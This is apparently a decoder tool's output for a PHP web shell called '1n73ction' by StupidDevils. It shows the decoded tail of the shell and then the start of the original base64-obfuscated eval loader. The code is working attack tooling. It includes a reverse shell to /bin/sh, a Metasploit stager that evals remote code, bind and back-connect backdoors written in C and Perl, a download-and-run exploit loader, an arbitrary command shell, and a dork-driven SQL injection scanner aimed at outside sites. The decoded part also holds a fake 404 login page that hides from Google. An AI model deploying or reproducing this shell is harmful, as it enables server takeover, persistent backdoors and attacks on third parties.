$s_my_ip = gethostbyname($_SERVER[\'HTTP_HOST\']);$rsport = "443";$rsportb4 = $rsport;$rstarget4 = $s_my_ip;$s_result = "<br><br><br><center><table><div class=\'mybox\' align=\'center\'><td><h2>Reverse shell ( php )</h2><form method=\'post\' actions=\'?y=<?php echo $pwd;?>&amp;x=\'tool\'><table class=\'tabnet\'><tr><td style=\'width:110px;\'>Your IP</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'rstarget4\' value=\'".$rstarget4."\' /></td></tr><tr><td>Port</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'sqlportb4\' value=\'".$rsportb4."\' /></td></tr></table><input type=\'submit\' name=\'xback_php\' class=\'inputzbut\' value=\'connect\' style=\'width:120px;height:30px;margin:10px 2px 0 2px;\' /><input type=\'hidden\' name=\'d\' value=\'".$pwd."\' /></form></td><td><hr color=\'#4C83AF\'><td><td><form method=\'POST\'><table class=\'tabnet\'><h2>Metasploit Connection </h2><tr><td style=\'width:110px;\'>Your IP</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' size=\'40\' name=\'yip\' value=\'".$my_ip."\' /></td></tr><tr><td>Port</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' size=\'5\' name=\'yport\' value=\'443\' /></td></tr></table><input class=\'inputzbut\' type=\'submit\' value=\'Connect\' name=\'metaConnect\' style=\'width:120px;height:30px;margin:10px 2px 0 2px;\'></form></td></div></center></table><br><br />";
echo $s_result;
if($_POST[\'metaConnect\']){$ipaddr = $_POST[\'yip\'];$port = $_POST[\'yport\'];if ($ip == "" && $port == ""){echo "fill in the blanks";}else {if (FALSE !== strpos($ipaddr, ":")) {$ipaddr = "[". $ipaddr ."]";}if (is_callable(\'stream_socket_client\')){$msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");if (!$msgsock){die();}$msgsock_type = \'stream\';}elseif (is_callable(\'fsockopen\')){$msgsock = fsockopen($ipaddr,$port);if (!$msgsock) {die(); }$msgsock_type = \'stream\';}elseif (is_callable(\'socket_create\')){$msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);$res = socket_connect($msgsock, $ipaddr, $port);if (!$res) {die(); }$msgsock_type = \'socket\';}else {die();}switch ($msgsock_type){case \'stream\': $len = fread($msgsock, 4); break;case \'socket\': $len = socket_read($msgsock, 4); break;}if (!$len) {die();}$a = unpack("Nlen", $len);$len = $a[\'len\'];$buffer = \'\';while (strlen($buffer) < $len){switch ($msgsock_type) {case \'stream\': $buffer .= fread($msgsock, $len-strlen($buffer)); break;case \'socket\': $buffer .= socket_read($msgsock, $len-strlen($buffer));break;}}eval($buffer);echo "[*] Connection Terminated";die();}}
if(isset($_REQUEST[\'sqlportb4\'])) $rsportb4 = ss($_REQUEST[\'sqlportb4\']);
if(isset($_REQUEST[\'rstarget4\'])) $rstarget4 = ss($_REQUEST[\'rstarget4\']);
if ($_POST[\'xback_php\']) {$ip = $rstarget4;$port = $rsportb4;$chunk_size = 1337;$write_a = null;$error_a = null;$shell = \'/bin/sh\';$daemon = 0;$debug = 0;if(function_exists(\'pcntl_fork\')){$pid = pcntl_fork();
if ($pid == -1) exit(1);if ($pid) exit(0);if (posix_setsid() == -1) exit(1);$daemon = 1;}
umask(0);$sock = fsockopen($ip, $port, $errno, $errstr, 30);if(!$sock) exit(1);
$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
$process = proc_open($shell, $descriptorspec, $pipes);
if(!is_resource($process)) exit(1);
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
while(1){if(feof($sock)) break;if(feof($pipes[1])) break;$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if(in_array($sock, $read_a)){$input = fread($sock, $chunk_size);fwrite($pipes[0], $input);}
if(in_array($pipes[1], $read_a)){$input = fread($pipes[1], $chunk_size);fwrite($sock, $input);}
if(in_array($pipes[2], $read_a)){$input = fread($pipes[2], $chunk_size);fwrite($sock, $input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);$rsres = " ";$s_result .= $rsres;}
}
///////////////////////////////////////////////////////////////////////////

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'about\'))
    {
    ?>
    <form action="?y=<?php echo $pwd; ?>&x=about" method="post">
    <center><br><br><br><font size="5" color="#00ff00">Tanks to:</font></center><center>
<marquee direction="up" scrollamount="2" bgcolor="" width="250" height="40"><center>
<p><b><font size="3" color="#00ff00">=[ teman-temanku ]=<br><br>Gabby<br>Antonio HSH<br>R10<br>w4r0x<br>edelle007<br>Brian kamikaze<br>Clover Lepex<br>
Uyap<br>
Zinbad<br>
Sani marpic<br>
Madan Cyber<br>
Cah Bagus<br>
RPG<br>
P4njie_a.k.a<br>
Dwi Syntia<br>
?rul Ringgo\'s<br>
Ti\'ar Variabel<br>
Imei7<br>
Hmei7<br>
De Vinclous<br>
Blankon33<br>
Doza Cracker<br>
Ying Cracker<br>
Iranian Hacker<br>
Danger Hacker<br>
Admin07<br>
Zhou you<br>
Ksatria.us<br>
Cyber Inj3cti0n<br>
K2ll33d<br>
Sultan Haikal<br>
Syntax_Error<br>
Aqis<br>
Black Shadow<br>
crack999<br>
Fnatic Crew<br>
Coretan Rizal<br>
Malaikat Maut<br>
Dan teman-teman ku semua<br><br>
=[ grup hacking ]=<br><br>
Black Newbie Team<br>
3xpire Cyber Army<br>
Hack Forum<br>
Indonesia Fighter Cyber<br>
Biang Kerox Team<br>
Anonymous<br>Gaza Hacker<br>Albanian Hacker<br>Devilz c0de<br>Muslims Cyber Shellz<br>
X-Code<br>
Indonesian Security<br>
Indonesia Black Cyber<br>
B-Compi<br>
Jasakom<br>
Mojopahit Fighter Cyber<br>
Lappis<br>
Mojopahit Cyber Dark<br>
Crack Hack Forum<br>
dan semua grup hacking<br>
yang<br>
saya naungi dan singgahi<br><br><br>By X\'1n73ct<br>
</font></b></p>
</center>
</marquee></center><br><br><br>
<?php
}
//////////////////////////////////////////////////////////////////////////////

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'sqli-scanner\'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=sqli-scanner" method="post">

<?php

echo \'<br><br><center><form method="post" action=""><b><font color="green">Dork : </font></b> &nbsp;&nbsp;<input class="inputz" type="text" value="" name="dork" style="color:#00ff00;background-color:#000000" size="20"/><input class="inputzbut" type="submit" style="color:#00ff00;background-color:#000000" name="scan" value="Scan"></form></center>\';

ob_start();
set_time_limit(0);

if (isset($_POST[\'scan\'])) {

$browser = $_SERVER[\'HTTP_USER_AGENT\'];

$first = "startgoogle.startpagina.nl/index.php?q=";
$sec = "&start=";
$reg = \'/<p class="g"><a href="(.*)" target="_self" onclick="/\';

for($id=0 ; $id<=30; $id++){
$page=$id*10;
$dork=urlencode($_POST[\'dork\']);
$url = $first.$dork.$sec.$page;

$curl = curl_init($url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl,CURLOPT_USERAGENT,\'$browser)\');
$result = curl_exec($curl);
curl_close($curl);

preg_match_all($reg,$result,$matches);
}
foreach($matches[1] as $site){

$url = preg_replace("/=/", "=\'", $site);
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl,CURLOPT_USERAGENT,\'$browser)\');
curl_setopt($curl,CURLOPT_TIMEOUT,\'5\');
$GET=curl_exec($curl); 
if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch&#8203;_row()|SELECT * 

FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i",$GET)) { 
echo \'<center><b><font color="#E10000">Found : </font><a href="\'.$url.\'" target="_blank">\'.$url.\'</a><font color=#FF0000> &#60;-- SQLI Vuln 

Found..</font></b></center>\';
ob_flush();flush(); 
}else{ 
echo \'<center><font color="#FFFFFF"><b>\'.$url.\'</b></font><font color="#0FFF16"> &#60;-- Not Vuln</font></center>\';
ob_flush();flush(); 
}
ob_flush();flush();
}
ob_flush();flush();
}
ob_flush();flush();
}

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'upload\')){ 
if(isset($_POST[\'uploadcomp\'])){
	if(is_uploaded_file($_FILES[\'file\'][\'tmp_name\'])){
		$path = magicboom($_POST[\'path\']);
		$fname = $_FILES[\'file\'][\'name\'];
		$tmp_name = $_FILES[\'file\'][\'tmp_name\'];
		$pindah = $path.$fname;
		$stat = @move_uploaded_file($tmp_name,$pindah);		
		if ($stat) {
			$msg = "file uploaded to $pindah";
		}
		else $msg = "failed to upload $fname";
	}
	else $msg = "failed to upload $fname";
}
elseif(isset($_POST[\'uploadurl\'])){
	$pilihan = trim($_POST[\'pilihan\']);
	$wurl = trim($_POST[\'wurl\']);
	$path = magicboom($_POST[\'path\']);
	$namafile = download($pilihan,$wurl);
	$pindah = $path.$namafile;
	if(is_file($pindah)) {
		$msg = "file uploaded to $pindah";
	}
	else $msg = "failed to upload $namafile";

}
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=upload" enctype="multipart/form-data" method="post">
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr><th colspan="2">Upload from computer</th></tr>
<tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td>
<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
</tr>
</table></form>
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr><th colspan="2">Upload from url</th></tr>
<tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&amp;x=upload">
<table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr>
<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
<tr><td><select size="1" class="inputz" name="pilihan">
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</option>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>
</select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td>
</tr>
</table>
<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
<?php }
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'netsploit\')){ 

// bind connect with c
if (isset($_POST[\'bind\']) && !empty($_POST[\'port\']) && !empty($_POST[\'bind_pass\']) && ($_POST[\'use\'] == \'C\')) {
	$port = trim($_POST[\'port\']);
	$passwrd = trim($_POST[\'bind_pass\']);
	tulis("bdc.c",$port_bind_bd_c);
 	exe("gcc -o bdc bdc.c");
 	exe("chmod 777 bdc");
 	@unlink("bdc.c");
 	exe("./bdc ".$port." ".$passwrd." &");
 	$scan = exe("ps aux"); 
	if(eregi("./bdc $por",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
	else { $msg =  "<p>Process not found running, backdoor not setup successfully.</p>"; }
}
// bind connect with perl
elseif (isset($_POST[\'bind\']) && !empty($_POST[\'port\']) && !empty($_POST[\'bind_pass\']) && ($_POST[\'use\'] == \'Perl\')) {
	$port = trim($_POST[\'port\']);
	$passwrd = trim($_POST[\'bind_pass\']);
	tulis("bdp",$port_bind_bd_pl);
	exe("chmod 777 bdp");
 	$p2=which("perl");
 	exe($p2." bdp ".$port." &");
 	$scan = exe("ps aux"); 
	if(eregi("$p2 bdp $port",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
	else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
}
// back connect with c
elseif (isset($_POST[\'backconn\']) && !empty($_POST[\'backport\']) && !empty($_POST[\'ip\']) && ($_POST[\'use\'] == \'C\')) {
	$ip = trim($_POST[\'ip\']);
	$port = trim($_POST[\'backport\']);
	tulis("bcc.c",$back_connect_c);
 	exe("gcc -o bcc bcc.c");
 	exe("chmod 777 bcc");
 	@unlink("bcc.c");
	exe("./bcc ".$ip." ".$port." &");
	$msg = "Now script try connect to ".$ip." port ".$port." ...";
}
// back connect with perl
elseif (isset($_POST[\'backconn\']) && !empty($_POST[\'backport\']) && !empty($_POST[\'ip\']) && ($_POST[\'use\'] == \'Perl\')) {
	$ip = trim($_POST[\'ip\']);
	$port = trim($_POST[\'backport\']);
	tulis("bcp",$back_connect);
	exe("chmod +x bcp");
	$p2=which("perl");
 	exe($p2." bcp ".$ip." ".$port." &");
 	$msg = "Now script try connect to ".$ip." port ".$port." ...";
}
elseif (isset($_POST[\'expcompile\']) && !empty($_POST[\'wurl\']) && !empty($_POST[\'wcmd\']))
{
	$pilihan = trim($_POST[\'pilihan\']);
	$wurl = trim($_POST[\'wurl\']);
	$namafile = download($pilihan,$wurl);
	if(is_file($namafile)) {
	
	$msg = exe($wcmd);
	}
	else $msg = "error: file not found $namafile";
}

?>
<table class="tabnet">
<tr><th>Port Binding</th><th>Connect Back</th><th>Load and Exploit</th></tr>
<tr>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&amp;x=netsploit">
<tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr>
<tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr>
<tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
<input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form>
</table>
</td>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&amp;x=netsploit">
<tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv(\'REMOTE_ADDR\')) ? (getenv(\'REMOTE_ADDR\')) : ("127.0.0.1")); ?>"></td></tr>
<tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr>
<tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
<input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form>
</table>
</td>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&amp;x=netsploit">
<tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr>
<tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td>
</tr>
<tr><td><select size="1" class="inputz" name="pilihan">
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</option>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>
</select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form>
</table>
</td>
</tr>
</table>
<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
<?php } elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'shell\')){  ?>
<form action="?y=<?php echo $pwd; ?>&amp;x=shell" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" readonly>
<?php
if(isset($_POST[\'submitcmd\'])) {
	echo @exe($_POST[\'cmd\']);
}
?>
</textarea>
<tr><td colspan="2"><?php echo $prompt; ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" /></td></tr>
</table>
</form>
<?php } 
else { 
if(isset($_GET[\'delete\']) && ($_GET[\'delete\'] != "")){
	$file = $_GET[\'delete\'];
	@unlink($file);
}
elseif(isset($_GET[\'fdelete\']) && ($_GET[\'fdelete\'] != "")){
	@rmdir(rtrim($_GET[\'fdelete\'],DIRECTORY_SEPARATOR));
}
elseif(isset($_GET[\'mkdir\']) && ($_GET[\'mkdir\'] != "")){
	$path = $pwd.$_GET[\'mkdir\'];
	@mkdir($path);
}
	$buff = showdir($pwd,$prompt);
	echo $buff;
}
?><center><br><br><div class="info">Shell 1n73ction r3c0ded by <span class="gaya"><a href="http://facebook.com/gilang105">StupidDevils</a></span></div> 
<div class="jaya">  &copy; 2013 StupidDevils</div></center><br><br>
<script src="http://bagsfreakz.com/js/disimg.js">
</script>
</div>
</body>
</html>'

Did this file decode correctly?

Original Code

<?php 
eval("?>".base64_decode("PD9waHAgDQovKiAoYWhpYWloaWhpOiIgLSAiKSAqLyANCiRhdXRoX3Bhc3MgPSAiZWFlYjFmMDhiMzAwNzhmNTU3NDQ0OGYyZTAzNWNkYWQiOyANCiRjb2xvciA9ICIjMDBmZjAwIjsgDQokZGVmYXVsdF9hY3Rpb24gPSAnRmlsZXNNYW4nOyANCkBkZWZpbmUoJ1NFTEZfUEFUSCcsIF9fRklMRV9fKTsgDQppZiggc3RycG9zKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnR29vZ2xlJykgIT09IGZhbHNlICkgeyANCiAgICBoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTsgDQogICAgZXhpdDsgDQp9IA0KQHNlc3Npb25fc3RhcnQoKTsgDQpAZXJyb3JfcmVwb3J0aW5nKDApOyANCkBpbmlfc2V0KCdlcnJvcl9sb2cnLE5VTEwpOyANCkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsgDQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsNCkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsgDQpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsNCkBzZXRfdGltZV9saW1pdCgwKTsgDQpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOyANCkBkZWZpbmUoJ1ZFUlNJT04nLCAnMi4xJyk7IA0KaWYoIGdldF9tYWdpY19xdW90ZXNfZ3BjKCkgKSB7IA0KICAgIGZ1bmN0aW9uIHN0cmlwc2xhc2hlc19hcnJheSgkYXJyYXkpIHsgDQogICAgICAgIHJldHVybiBpc19hcnJheSgkYXJyYXkpID8gYXJyYXlfbWFwKCdzdHJpcHNsYXNoZXNfYXJyYXknLCAkYXJyYXkpIDogc3RyaXBzbGFzaGVzKCRhcnJheSk7IA0KICAgIH0gDQogICAgJF9QT1NUID0gc3RyaXBzbGFzaGVzX2FycmF5KCRfUE9TVCk7IA0KfSANCmZ1bmN0aW9uIHByaW50TG9naW4oKSB7IA0KICAgID8+IA0KPGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+IA0KICAgIDxjZW50ZXI+IA0KICAgIDxmb3JtIG1ldGhvZD1wb3N0PiANCiAgICA8aW5wdXQgdHlwZT1wYXNzd29yZCBuYW1lPXBhc3M+IA0KICAgIDwvZm9ybT48L2NlbnRlcj4gDQogICAgPD9waHAgDQogICAgZXhpdDsgDQp9IA0KaWYoICFpc3NldCggJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSApKSANCiAgICBpZiggZW1wdHkoICRhdXRoX3Bhc3MgKSB8fCANCiAgICAgICAgKCBpc3NldCggJF9QT1NUWydwYXNzJ10gKSAmJiAoIG1kNSgkX1BPU1RbJ3Bhc3MnXSkgPT0gJGF1dGhfcGFzcyApICkgKSANCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSA9IHRydWU7IA0KICAgIGVsc2UgDQogICAgICAgIHByaW50TG9naW4oKTsNCgkJQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLDApOyANCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOw0KaWYoaXNzZXQoJF9HRVRbJ2RsJ10pICYmICgkX0dFVFsnZGwnXSAhPSAiIikpew0KCSRmaWxlID0gJF9HRVRbJ2RsJ107DQoJJGZpbGV6ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKTsNCiAgIGhlYWRlcigiQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsgDQogICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLnN0cmxlbigkZmlsZXopKTsgDQogICBoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi5iYXNlbmFtZSgkZmlsZSkuIlwiOyIpOw0KICAgZWNobyAkZmlsZXo7IA0KICAgIGV4aXQ7IA0KfQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydkbGd6aXAnXSkgJiYgKCRfR0VUWydkbGd6aXAnXSAhPSAiIikpew0KCSRmaWxlID0gJF9HRVRbJ2RsZ3ppcCddOw0KCSRmaWxleiA9IGd6ZW5jb2RlKEBmaWxlX2dldF9jb250ZW50cygkZmlsZSkpOw0KICAgaGVhZGVyKCJDb250ZW50LVR5cGU6YXBwbGljYXRpb24veC1nemlwXG4iKTsgDQogICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLnN0cmxlbigkZmlsZXopKTsgDQogICBoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi5iYXNlbmFtZSgkZmlsZSkuIi5nelwiOyIpOw0KICAgZWNobyAkZmlsZXo7IA0KICAgIGV4aXQ7IA0KfQ0KLy8gdmlldyBpbWFnZQ0KaWYoaXNzZXQoJF9HRVRbJ2ltZyddKSl7DQoJCUBvYl9jbGVhbigpOyANCgkJJGQgPSBtYWdpY2Jvb20oJF9HRVRbJ3knXSk7DQoJCSRmID0gJF9HRVRbJ2ltZyddOw0KCQkkaW5mID0gQGdldGltYWdlc2l6ZSgkZC4kZik7IA0KICAgCQkkZXh0ID0gZXhwbG9kZSgkZiwiLiIpOyANCiAgIAkJJGV4dCA9ICRleHRbY291bnQoJGV4dCktMV07IA0KICAgCSAJQGhlYWRlcigiQ29udGVudC10eXBlOiAiLiRpbmZbIm1pbWUiXSk7DQogICAJIAlAaGVhZGVyKCJDYWNoZS1jb250cm9sOiBwdWJsaWMiKTsgDQogIAkJQGhlYWRlcigiRXhwaXJlczogIi5kYXRlKCJyIixta3RpbWUoMCwwLDAsMSwxLDIwMzApKSk7IA0KICAJCUBoZWFkZXIoIkNhY2hlLWNvbnRyb2w6IG1heC1hZ2U9Ii4oNjAqNjAqMjQqNykpOyAgDQogICAJIAlAcmVhZGZpbGUoJGQuJGYpOyANCiAgIAkgCWV4aXQ7IA0KfQ0KDQovLyBzZXJ2ZXIgc29mdHdhcmUNCiRzb2Z0d2FyZSA9IGdldGVudigiU0VSVkVSX1NPRlRXQVJFIik7DQovLyBjaGVjayBzYWZlbW9kZQ0KaWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikgICRzYWZlbW9kZSA9IFRSVUU7IGVsc2UgJHNhZmVtb2RlID0gRkFMU0U7DQovLyB1bmFtZSAtYQ0KJHN5c3RlbSA9IEBwaHBfdW5hbWUoKTsNCi8vIGNoZWNrIG9zDQppZihzdHJ0b2xvd2VyKHN1YnN0cigkc3lzdGVtLDAsMykpID09ICJ3aW4iKSAkd2luID0gVFJVRTsNCmVsc2UgJHdpbiA9IEZBTFNFOyANCi8vIGNoYW5nZSBkaXJlY3RvcnkNCmlmKGlzc2V0KCRfR0VUWyd5J10pKXsNCglpZihAaXNfZGlyKCRfR0VUWyd2aWV3J10pKXsNCgkJJHB3ZCA9ICRfR0VUWyd2aWV3J107DQoJCUBjaGRpcigkcHdkKTsNCgl9DQoJZWxzZXsNCgkJJHB3ZCA9ICRfR0VUWyd5J107DQoJCUBjaGRpcigkcHdkKTsNCgl9DQp9DQovLyB1c2VybmFtZSwgaWQsIHNoZWxsIHByb21wdCBhbmQgd29ya2luZyBkaXJlY3RvcnkNCmlmKCEkd2luKXsNCglpZighJHVzZXIgPSByYXBpaChleGUoIndob2FtaSIpKSkgJHVzZXIgPSAiIjsNCglpZighJGlkID0gcmFwaWgoZXhlKCJpZCIpKSkgJGlkID0gIiI7DQoJJHByb21wdCA9ICR1c2VyLiIgXCQgIjsNCgkkcHdkID0gQGdldGN3ZCgpLkRJUkVDVE9SWV9TRVBBUkFUT1I7DQp9DQplbHNlIHsNCgkkdXNlciA9IEBnZXRfY3VycmVudF91c2VyKCk7DQoJJGlkID0gJHVzZXI7DQoJJHByb21wdCA9ICR1c2VyLiIgJmd0OyI7DQoJJHB3ZCA9IHJlYWxwYXRoKCIuIikuIlxcIjsNCgkvLyBmaW5kIGRyaXZlIGxldHRlcnMNCiAJJHYgPSBleHBsb2RlKCJcXCIsJGQpOyANCgkkdiA9ICR2WzBdOyANCiAJZm9yZWFjaCAocmFuZ2UoIkEiLCJaIikgYXMgJGxldHRlcikgDQogCXsgDQoJICAkYm9vbCA9IEBpc19kaXIoJGxldHRlci4iOlxcIik7DQoJICBpZiAoJGJvb2wpIA0KCSAgeyANCiAJCSAgJGxldHRlcnMgLj0gIjxhIGhyZWY9XCI/eT0iLiRsZXR0ZXIuIjpcXFwiPlsgIjsNCgkJICAgaWYgKCRsZXR0ZXIuIjoiICE9ICR2KSB7JGxldHRlcnMgLj0gJGxldHRlcjt9IA0KCQkgICBlbHNlIHskbGV0dGVycyAuPSAiPHNwYW4gY2xhc3M9XCJnYXlhXCI+Ii4kbGV0dGVyLiI8L3NwYW4+Ijt9IA0KCQkgICAkbGV0dGVycyAuPSAiIF08L2E+ICI7IA0KICAJICB9CSANCiB9IA0KfQ0KaWYoZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSkgJHBvc2l4ID0gVFJVRTsNCmVsc2UgJHBvc2l4ID0gRkFMU0U7DQovLyBzZXJ2ZXIgaXANCiRzZXJ2ZXJfaXAgPSBAZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pOw0KLy8geW91ciBpcCA7LSkNCiRteV9pcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOw0KJGJpbmRwb3J0ID0gIjEzMTIzIjsNCiRiaW5kcG9ydF9wYXNzID0gImIzNzRrIjsNCg0KLy8gc2VwYXJhdGUgdGhlIHdvcmtpbmcgZGlyZWNvdG9yeQ0KJHB3ZHMgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsJHB3ZCk7DQokcHdkdXJsID0gIiI7DQpmb3IoJGkgPSAwIDsgJGkgPCBzaXplb2YoJHB3ZHMpLTEgOyAkaSsrKXsNCgkkcGF0aHogPSAiIjsNCglmb3IoJGogPSAwIDsgJGogPD0gJGkgOyAkaisrKXsNCgkJJHBhdGh6IC49ICRwd2RzWyRqXS5ESVJFQ1RPUllfU0VQQVJBVE9SOw0KCX0NCgkkcHdkdXJsIC49ICI8YSBocmVmPVwiP3k9Ii4kcGF0aHouIlwiPiIuJHB3ZHNbJGldLiIgIi5ESVJFQ1RPUllfU0VQQVJBVE9SLiIgPC9hPiI7DQp9DQoJDQovLyByZW5hbWUgZmlsZSBvciBmb2xkZXINCmlmKGlzc2V0KCRfUE9TVFsncmVuYW1lJ10pKXsNCgkkb2xkID0gJF9QT1NUWydvbGRuYW1lJ107DQoJJG5ldyA9ICRfUE9TVFsnbmV3bmFtZSddOw0KCUByZW5hbWUoJHB3ZC4kb2xkLCRwd2QuJG5ldyk7DQoJJGZpbGUgPSAkcHdkLiRuZXc7DQp9DQoNCg0KDQovLyBwcmludCB1c2VmdWwgaW5mbw0KJGJ1ZmYgID0gJHNvZnR3YXJlLiI8YnIgLz4iOw0KJGJ1ZmYgLj0gJHN5c3RlbS4iPGJyIC8+IjsNCmlmKCRpZCAhPSAiIikgJGJ1ZmYgLj0gJGlkLiI8YnIgLz4iOw0KJGJ1ZmYgLj0gInNlcnZlciBpcCA6ICIuJHNlcnZlcl9pcC4iIDxzcGFuIGNsYXNzPVwiZ2F5YVwiPnw8L3NwYW4+IHlvdXIgICBpcCA6ICIuJG15X2lwLiI8YnIgLz4iOw0KaWYoJHNhZmVtb2RlKSAkYnVmZiAuPSAic2FmZW1vZGUgPHNwYW4gY2xhc3M9XCJnYXlhXCI+T048L3NwYW4+PGJyIC8+IjsNCmVsc2UgJGJ1ZmYgLj0gInNhZmVtb2RlIDxzcGFuIGNsYXNzPVwiZ2F5YVwiPk9GRjxzcGFuPjxiciAvPiI7DQokYnVmZiAu